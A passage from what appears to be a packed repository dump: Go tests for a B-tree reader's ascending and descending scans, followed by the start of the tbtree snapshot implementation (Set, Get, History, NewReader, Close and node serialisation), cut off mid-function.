TestReaderAscendingScanWithEndingKey(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tmonotonicInsertions(t, tbtree, 1, 1000, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := ReaderSpec{\n\t\tEndKey:       []byte{0, 0, 0, 100},\n\t\tInclusiveEnd: true,\n\t\tPrefix:       []byte{0, 0, 0},\n\t\tDescOrder:    false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tvar lastKey []byte\n\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(reader.seekKey, k) < 1)\n\n\t\tlastKey = k\n\t}\n\n\trequire.Equal(t, rspec.EndKey, lastKey)\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = reader.Read()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = reader.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestReaderAscendingScanAsBefore(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tmonotonicInsertions(t, tbtree, 1, 1000, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   []byte{0, 0, 0, 250},\n\t\tPrefix:    []byte{0, 0, 0, 250},\n\t\tDescOrder: false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tfor {\n\t\tk, _, _, hc, err := reader.ReadBetween(0, 1001)\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(reader.seekKey, k) < 1)\n\t\trequire.Equal(t, uint64(1), hc)\n\t}\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = reader.ReadBetween(0, 0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = reader.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestReaderAsBefore(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tkey := []byte{0, 0, 0, 250}\n\tvalue := []byte{0, 0, 0, 251}\n\n\tfor i := 0; i < 10; i++ {\n\t\terr = tbtree.Insert(key, value)\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := ReaderSpec{\n\t\tPrefix: key,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\tk, v, ts, hc, err := reader.ReadBetween(1, 9)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, k)\n\trequire.Equal(t, value, v)\n\trequire.Equal(t, uint64(9), ts)\n\trequire.Equal(t, uint64(9), hc)\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestReaderAscendingScanWithoutSeekKey(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tmonotonicInsertions(t, tbtree, 1, 1000, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   nil,\n\t\tPrefix:    []byte{0, 0, 0, 250},\n\t\tDescOrder: false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(reader.seekKey, k) < 1)\n\t}\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = reader.Read()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = reader.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestReaderDescendingScan(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tkeyCount := 1024\n\tmonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\tseekKey := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(seekKey, uint32(512))\n\n\tprefixKey := make([]byte, 3)\n\tprefixKey[2] = 1\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   seekKey,\n\t\tPrefix:    prefixKey,\n\t\tDescOrder: true,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(prevk, k) > 0)\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, 256, i)\n}\n\nfunc TestReaderDescendingScanAsBefore(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tkeyCount := 1024\n\tmonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\tseekKey := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(seekKey, uint32(512))\n\n\tprefixKey := make([]byte, 3)\n\tprefixKey[2] = 1\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   seekKey,\n\t\tPrefix:    prefixKey,\n\t\tDescOrder: true,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\terr = reader.Reset()\n\trequire.NoError(t, err)\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, hc, err := reader.ReadBetween(0, uint64(keyCount))\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(prevk, k) > 0)\n\t\trequire.Equal(t, uint64(1), hc)\n\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, 256, i)\n}\n\nfunc TestReaderDescendingWithoutSeekKeyScan(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tkeyCount := 1024\n\tmonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\tprefixKey := make([]byte, 3)\n\tprefixKey[2] = 1\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   nil,\n\t\tPrefix:    prefixKey,\n\t\tDescOrder: true,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(prevk, k) > 0)\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, 256, i)\n}\n\nfunc TestFullScanAscendingOrder(t *testing.T) {\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tkeyCount := 10000\n\trandomInsertions(t, tbtree, keyCount, false)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, snapshot)\n\trequire.Equal(t, uint64(keyCount), snapshot.Ts())\n\tdefer snapshot.Close()\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   nil,\n\t\tPrefix:    nil,\n\t\tDescOrder: false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(prevk, k) < 1)\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, keyCount, i)\n}\n\nfunc TestFullScanDescendingOrder(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tkeyCount := 10000\n\trandomInsertions(t, tbtree, keyCount, false)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   []byte{255, 255, 255, 255},\n\t\tPrefix:    nil,\n\t\tDescOrder: true,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(k, prevk) < 1)\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, keyCount, i)\n}\n"
  },
  {
    "path": "embedded/tbtree/snapshot.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"math\"\n\t\"sync\"\n)\n\nconst (\n\tInnerNodeType = iota\n\tLeafNodeType\n)\n\n// Snapshot implements a snapshot on top of a B-tree data structure.\n// It provides methods for storing and retrieving key-value pairs.\n// The snapshot maintains a consistent view of the underlying data structure.\n// It uses a lock to ensure concurrent access safety.\n// Snapshot represents a consistent view of a B-tree data structure.\ntype Snapshot struct {\n\tt           *TBtree\n\tid          uint64\n\tts          uint64\n\troot        node\n\treaders     map[int]io.Closer\n\tmaxReaderID int\n\tclosed      bool\n\n\t_buf []byte\n\n\tmutex sync.RWMutex\n}\n\n// Set inserts a key-value pair into the snapshot.\n// It locks the snapshot, performs the insertion, and updates the root node if necessary.\n// The method handles splitting of nodes to maintain the B-tree structure.\n// It returns an error if the insertion fails.\n// Example usage:\n//\n//\terr := snapshot.Set([]byte(\"key\"), []byte(\"value\"))\nfunc (s *Snapshot) Set(key, value []byte) error {\n\t// Acquire a write lock on the snapshot\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\t// Create copies of the key and value to ensure immutability\n\tk := make([]byte, len(key))\n\tcopy(k, key)\n\n\tv := make([]byte, len(value))\n\tcopy(v, value)\n\n\t// Insert the key-value pair into the root node\n\tnodes, depth, err := s.root.insert([]*KVT{{K: k, V: v, T: s.ts}})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Split nodes to maintain the B-tree structure\n\tfor len(nodes) > 1 {\n\t\tnewRoot := &innerNode{\n\t\t\tt:     s.t,\n\t\t\tnodes: nodes,\n\t\t\t_ts:   s.ts,\n\t\t\tmut:   true,\n\t\t}\n\n\t\tdepth++\n\n\t\tnodes, err = newRoot.split()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Update the root node\n\ts.root = nodes[0]\n\n\t// Update B-tree depth metric\n\tmetricsBtreeDepth.WithLabelValues(s.t.path).Set(float64(depth))\n\n\treturn nil\n}\n\n// Get retrieves the value associated with the given key from the snapshot.\n// It locks the snapshot for reading, and delegates the retrieval to the root node.\n// The method returns the value, timestamp, hash count, and an error.\n// Example usage:\n//\n//\tvalue, timestamp, hashCount, err := snapshot.Get([]byte(\"key\"))\nfunc (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) {\n\t// Acquire a read lock on the snapshot\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\t// Check if the snapshot is closed\n\tif s.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\t// Check if the key argument is nil\n\tif key == nil {\n\t\treturn nil, 0, 0, ErrIllegalArguments\n\t}\n\n\t// Delegate the retrieval to the root node\n\tv, ts, hc, err := s.root.get(key)\n\treturn cp(v), ts, hc, err\n}\n\nfunc (s *Snapshot) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\tif s.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tif key == nil {\n\t\treturn nil, 0, 0, ErrIllegalArguments\n\t}\n\n\tv, ts, hc, err := s.root.getBetween(key, initialTs, finalTs)\n\treturn cp(v), ts, hc, err\n}\n\n// History retrieves the history of a key in the snapshot.\n// It locks the snapshot for reading, and delegates the history retrieval to the root node.\n// The method returns an array of timestamps, the hash count, and an error.\n// Example usage:\n//\n//\ttimestamps, hashCount, err := snapshot.History([]byte(\"key\"), 0, true, 10)\nfunc (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []TimedValue, hCount uint64, err error) {\n\t// Acquire a read lock on the snapshot\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\t// Check if the snapshot is closed\n\tif s.closed {\n\t\treturn nil, 0, ErrAlreadyClosed\n\t}\n\n\t// Check if the key argument is nil\n\tif key == nil {\n\t\treturn nil, 0, ErrIllegalArguments\n\t}\n\n\t// Check if the limit argument is less than 1\n\tif limit < 1 {\n\t\treturn nil, 0, ErrIllegalArguments\n\t}\n\n\t// Delegate the history retrieval to the root node\n\treturn s.root.history(key, offset, descOrder, limit)\n}\n\n// Ts returns the timestamp associated with the root node of the snapshot.\n// It locks the snapshot for reading and returns the timestamp.\n// Example usage:\n//\n//\ttimestamp := snapshot.Ts()\nfunc (s *Snapshot) Ts() uint64 {\n\t// Acquire a read lock on the snapshot\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\treturn s.root.ts()\n}\n\n// GetWithPrefix retrieves the key-value pair with a specific prefix from the snapshot.\n// It locks the snapshot for reading, and delegates the retrieval to the root node.\n// The method returns the key, value, timestamp, hash count, and an error.\n// Example usage:\n//\n//\tkey, value, timestamp, hashCount, err := snapshot.GetWithPrefix([]byte(\"prefix\"), []byte(\"neq\"))\nfunc (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) {\n\t// Acquire a read lock on the snapshot\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\t// Check if the snapshot is closed\n\tif s.closed {\n\t\treturn nil, nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\t// Find the leaf node containing the key-value pair\n\t_, leaf, off, err := s.root.findLeafNode(prefix, nil, 0, neq, false)\n\tif err != nil {\n\t\treturn nil, nil, 0, 0, err\n\t}\n\n\t// Retrieve the leaf value at the specified offset\n\tleafValue := leaf.values[off]\n\n\t// Check if the prefix matches the leaf key\n\tif len(prefix) > len(leafValue.key) {\n\t\treturn nil, nil, 0, 0, ErrKeyNotFound\n\t}\n\n\tif bytes.Equal(prefix, leafValue.key[:len(prefix)]) {\n\t\treturn leafValue.key, cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil\n\t}\n\n\treturn nil, nil, 0, 0, ErrKeyNotFound\n}\n\n// NewHistoryReader creates a new history reader for the snapshot.\n// It locks the snapshot for reading and creates a new history reader based on the given specification.\n// The method returns the history reader and an error if the creation fails.\n// Example usage:\n//\n//\treader, err := snapshot.NewHistoryReader(&HistoryReaderSpec{Key: []byte(\"key\"), Limit: 10})\nfunc (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) {\n\t// Acquire a read lock on the snapshot\n\ts.mutex.RLock()\n\tdefer s.mutex.RUnlock()\n\n\t// Check if the snapshot is closed\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\t// Create a new history reader with the given specification\n\treader, err := newHistoryReader(s.maxReaderID, s, spec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Store the reader in the snapshot's readers map\n\ts.readers[reader.id] = reader\n\ts.maxReaderID++\n\n\treturn reader, nil\n}\n\n// NewReader creates a new reader for the snapshot.\n// It locks the snapshot for writing and creates a new reader based on the given specification.\n// The method returns the reader and an error if the creation fails.\n// Example usage:\n//\n//\treader, err := snapshot.NewReader(ReaderSpec{Prefix: []byte(\"prefix\"), DescOrder: true})\nfunc (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif len(spec.SeekKey) > s.t.maxKeySize || len(spec.Prefix) > s.t.maxKeySize {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tgreatestPrefixedKey := greatestKeyOfSize(s.t.maxKeySize)\n\tcopy(greatestPrefixedKey, spec.Prefix)\n\n\t// Adjust seekKey based on key prefix\n\tseekKey := spec.SeekKey\n\tinclusiveSeek := spec.InclusiveSeek\n\n\tif spec.DescOrder {\n\t\tif len(spec.SeekKey) == 0 || bytes.Compare(spec.SeekKey, greatestPrefixedKey) > 0 {\n\t\t\tseekKey = greatestPrefixedKey\n\t\t\tinclusiveSeek = true\n\t\t}\n\t} else {\n\t\tif bytes.Compare(spec.SeekKey, spec.Prefix) < 0 {\n\t\t\tseekKey = spec.Prefix\n\t\t\tinclusiveSeek = true\n\t\t}\n\t}\n\n\t// Adjust endKey based on key prefix\n\tendKey := spec.EndKey\n\tinclusiveEnd := spec.InclusiveEnd\n\n\tif spec.DescOrder {\n\t\tif bytes.Compare(spec.EndKey, spec.Prefix) < 0 {\n\t\t\tendKey = spec.Prefix\n\t\t\tinclusiveEnd = true\n\t\t}\n\t} else {\n\t\tif len(spec.EndKey) == 0 || bytes.Compare(spec.EndKey, greatestPrefixedKey) > 0 {\n\t\t\tendKey = greatestPrefixedKey\n\t\t\tinclusiveEnd = true\n\t\t}\n\t}\n\n\t// Create a new reader with the given specification\n\tr = &Reader{\n\t\tsnapshot:       s,\n\t\tid:             s.maxReaderID,\n\t\tseekKey:        seekKey,\n\t\tendKey:         endKey,\n\t\tprefix:         spec.Prefix,\n\t\tinclusiveSeek:  inclusiveSeek,\n\t\tinclusiveEnd:   inclusiveEnd,\n\t\tincludeHistory: spec.IncludeHistory,\n\t\tdescOrder:      spec.DescOrder,\n\t\toffset:         spec.Offset,\n\t\tclosed:         false,\n\t}\n\n\ts.readers[r.id] = r\n\ts.maxReaderID++\n\n\treturn r, nil\n}\n\n// closedReader removes a closed reader from the snapshot's readers map.\n// It locks the snapshot for writing and removes the reader with the specified ID.\n// The method returns an error if the removal fails.\nfunc (s *Snapshot) closedReader(id int) error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tdelete(s.readers, id)\n\treturn nil\n}\n\n// Close closes the snapshot and releases any associated resources.\n// It locks the snapshot for writing, checks if there are any active readers, and marks the snapshot as closed.\n// The method returns an error if there are active readers.\n// Example usage:\n//\n//\terr := snapshot.Close()\nfunc (s *Snapshot) Close() error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif len(s.readers) > 0 {\n\t\treturn ErrReadersNotClosed\n\t}\n\n\terr := s.t.snapshotClosed(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.closed = true\n\n\treturn nil\n}\n\n// WriteTo writes the snapshot to the specified writers.\n// It locks the snapshot for writing, performs the write operation on the root node,\n// and returns the root offset, minimum offset, number of bytes written to nw and hw,\n// and an error if any.\n//\n// Parameters:\n// - nw: The writer to write the snapshot's nodes.\n// - hw: The writer to write the snapshot's history.\n// - writeOpts: The options for the write operation.\n//\n// Returns:\n// - rootOffset: The offset of the root node in the written data.\n// - minOffset: The minimum offset of all written nodes.\n// - wN: The number of bytes written to nw.\n// - wH: The number of bytes written to hw.\n// - err: An error if the write operation fails or the arguments are invalid.\n//\n// Example usage:\n//\n//\trootOffset, minOffset, wN, wH, err := snapshot.WriteTo(nw, hw, &WriteOpts{})\nfunc (s *Snapshot) WriteTo(nw, hw io.Writer, writeOpts *WriteOpts) (rootOffset, minOffset int64, wN, wH int64, err error) {\n\tif nw == nil || writeOpts == nil {\n\t\treturn 0, 0, 0, 0, ErrIllegalArguments\n\t}\n\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\treturn s.root.writeTo(nw, hw, writeOpts, s._buf)\n}\n\nfunc (n *innerNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) {\n\tif writeOpts.OnlyMutated && !n.mutated() && n._minOff >= writeOpts.MinOffset {\n\t\treturn n.off, n._minOff, 0, 0, nil\n\t}\n\n\tvar cnw, chw int64\n\n\twopts := &WriteOpts{\n\t\tOnlyMutated:    writeOpts.OnlyMutated,\n\t\tcommitLog:      writeOpts.commitLog,\n\t\treportProgress: writeOpts.reportProgress,\n\t\tMinOffset:      writeOpts.MinOffset,\n\t}\n\n\toffsets := make([]int64, len(n.nodes))\n\tminOffsets := make([]int64, len(n.nodes))\n\tminOff = math.MaxInt64\n\n\tfor i, c := range n.nodes {\n\t\twopts.BaseNLogOffset = writeOpts.BaseNLogOffset + cnw\n\t\twopts.BaseHLogOffset = writeOpts.BaseHLogOffset + chw\n\n\t\tno, mo, wn, wh, err := c.writeTo(nw, hw, wopts, buf)\n\t\tif err != nil {\n\t\t\treturn 0, 0, cnw, chw, err\n\t\t}\n\n\t\toffsets[i] = no\n\t\tminOffsets[i] = mo\n\n\t\tif minOffsets[i] < minOff {\n\t\t\tminOff = minOffsets[i]\n\t\t}\n\n\t\tcnw += wn\n\t\tchw += wh\n\t}\n\n\tsize, err := n.size()\n\tif err != nil {\n\t\treturn 0, 0, cnw, chw, err\n\t}\n\n\tbi := 0\n\n\tbuf[bi] = InnerNodeType\n\tbi++\n\n\tbinary.BigEndian.PutUint16(buf[bi:], uint16(len(n.nodes)))\n\tbi += 2\n\n\tfor i, c := range n.nodes {\n\t\tn := writeNodeRefToWithOffset(c, offsets[i], minOffsets[i], buf[bi:])\n\t\tbi += n\n\t}\n\n\twn, err := nw.Write(buf[:bi])\n\tif err != nil {\n\t\treturn 0, 0, int64(wn), chw, err\n\t}\n\n\twN = cnw + int64(size)\n\tnOff = writeOpts.BaseNLogOffset + cnw\n\n\tif writeOpts.commitLog {\n\t\tn.off = writeOpts.BaseNLogOffset + cnw\n\t\tn._minOff = minOff\n\n\t\tif n.mut {\n\t\t\tn.mut = false\n\n\t\t\tfor i, c := range n.nodes {\n\t\t\t\t_, isNodeRef := c.(*nodeRef)\n\n\t\t\t\tif isNodeRef {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tn.nodes[i] = &nodeRef{\n\t\t\t\t\tt:       n.t,\n\t\t\t\t\t_minKey: c.minKey(),\n\t\t\t\t\t_ts:     c.ts(),\n\t\t\t\t\toff:     c.offset(),\n\t\t\t\t\t_minOff: c.minOffset(),\n\t\t\t\t}\n\n\t\t\t\tn.t.cachePut(c)\n\t\t\t}\n\t\t}\n\t}\n\n\twriteOpts.reportProgress(1, 0, 0)\n\n\treturn nOff, minOff, wN, chw, nil\n}\n\nfunc (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) {\n\tif writeOpts.OnlyMutated && !l.mutated() && l.off >= writeOpts.MinOffset {\n\t\treturn l.off, l.off, 0, 0, nil\n\t}\n\n\tsize, err := l.size()\n\tif err != nil {\n\t\treturn 0, 0, 0, 0, err\n\t}\n\n\tbi := 0\n\n\tbuf[bi] = LeafNodeType\n\tbi++\n\n\tbinary.BigEndian.PutUint16(buf[bi:], uint16(len(l.values)))\n\tbi += 2\n\n\taccH := int64(0)\n\tfor _, v := range l.values {\n\t\ttimedValue := v.timedValues[0]\n\n\t\tbinary.BigEndian.PutUint16(buf[bi:], uint16(len(v.key)))\n\t\tbi += 2\n\n\t\tcopy(buf[bi:], v.key)\n\t\tbi += len(v.key)\n\n\t\tbinary.BigEndian.PutUint16(buf[bi:], uint16(len(timedValue.Value)))\n\t\tbi += 2\n\n\t\tcopy(buf[bi:], timedValue.Value)\n\t\tbi += len(timedValue.Value)\n\n\t\tbinary.BigEndian.PutUint64(buf[bi:], timedValue.Ts)\n\t\tbi += 8\n\n\t\thOff := v.hOff\n\n\t\tif len(v.timedValues) > 1 {\n\t\t\thbuf := new(bytes.Buffer)\n\n\t\t\tbinary.Write(hbuf, binary.BigEndian, uint32(len(v.timedValues)-1))\n\n\t\t\tfor _, tv := range v.timedValues[1:] {\n\n\t\t\t\tbinary.Write(hbuf, binary.BigEndian, uint16(len(tv.Value)))\n\n\t\t\t\thbuf.Write(tv.Value)\n\n\t\t\t\tbinary.Write(hbuf, binary.BigEndian, uint64(tv.Ts))\n\t\t\t}\n\n\t\t\tbinary.Write(hbuf, binary.BigEndian, uint64(v.hOff))\n\n\t\t\thOff = writeOpts.BaseHLogOffset + accH\n\n\t\t\tn, err := hw.Write(hbuf.Bytes())\n\t\t\tif err != nil {\n\t\t\t\treturn 0, 0, 0, int64(n), err\n\t\t\t}\n\n\t\t\taccH += int64(n)\n\t\t}\n\n\t\tbinary.BigEndian.PutUint64(buf[bi:], uint64(hOff))\n\t\tbi += 8\n\n\t\thCount := v.historyCount()\n\n\t\tbinary.BigEndian.PutUint64(buf[bi:], hCount-1)\n\t\tbi += 8\n\n\t\tif writeOpts.commitLog {\n\t\t\tv.timedValues = v.timedValues[:1]\n\t\t\tv.hOff = hOff\n\t\t\tv.hCount = hCount - 1\n\t\t}\n\t}\n\n\tn, err := nw.Write(buf[:bi])\n\tif err != nil {\n\t\treturn 0, 0, int64(n), accH, err\n\t}\n\n\twN = int64(size)\n\tnOff = writeOpts.BaseNLogOffset\n\n\tif writeOpts.commitLog {\n\t\tl.off = nOff\n\n\t\tif l.mut {\n\t\t\tl.mut = 